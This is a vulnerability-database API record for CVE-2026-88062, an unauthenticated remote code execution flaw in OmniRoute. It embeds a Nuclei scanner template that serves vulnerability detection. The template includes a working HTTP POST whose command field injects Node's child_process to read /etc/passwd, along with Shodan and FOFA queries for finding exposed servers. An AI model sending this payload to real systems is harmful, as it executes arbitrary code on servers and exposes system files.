{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-88062/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-88062/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-88062/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-88062/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-88062/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-88062"},"sightings":{"href":"/api/v1/sightings/cve-2026-88062"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-88062.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-88062\n\ninfo:\n  name: OmniRoute < 3.8.49 - Unauthenticated RCE\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    OmniRoute <= 3.8.49 contains a remote code execution caused by insufficient validation of interpreter arguments in the POST /api/acp/agents endpoint, letting remote attackers execute arbitrary code, exploit requires anonymous access when requireLogin is false or management session/API key when true.\n  impact: |\n    Remote attackers can execute arbitrary code in the server container, potentially leading to full system compromise.\n  remediation: |\n    Update to the latest version once a fix is available.\n  reference:\n    - https://github.com/diegosouzapw/OmniRoute/security/advisories/GHSA-hf57-cqmx-p4gr\n    - https://github.com/diegosouzapw/OmniRoute/pull/11028\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-88062\n  classification:\n    cvss-score: 9.5\n    cve-id: CVE-2026-88062\n    epss-score: 0.01424\n    epss-percentile: 0.72987\n    cwe-id: CWE-94,CWE-306\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: omniroute\n    product: omniroute\n    shodan-query: http.title:\"OmniRoute\"\n    fofa-query: title=\"OmniRoute\"\n  tags: cve,cve2026,omniroute,rce,unauth,ai,vkev\n\nvariables:\n  agentid: \"{{rand_base(8, 'acfhjnprx')}}\"\n  agentname: \"{{rand_base(8, 'acfhjnprx')}}\"\n  alias: \"{{rand_base(8, 'acfhjnprx')}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/acp/agents HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"id\":\"{{agentid}}\",\"name\":\"{{agentname}}\",\"binary\":\"node\",\"versionCommand\":\"node -e \\\"process.stdout.write(require('child_process').execSync('cat /etc/passwd').toString())\\\"\",\"providerAlias\":\"{{alias}}\",\"spawnArgs\":[],\"protocol\":\"stdio\",\"version\":\"\",\"installed\":true,\"isCustom\":true}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'regex(\"root:.*:0:0:\", body)'\n        condition: and\n# digest: 4a0a00473045022100ca297fe0b42a13bb21390fd792e40a9aae58fe3628e02d55e8b934675b766796022068ed509ff6730046b5ccb5a55e0aee619cc6611d93ad753bc9ba7db95999fb6f:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-88062"}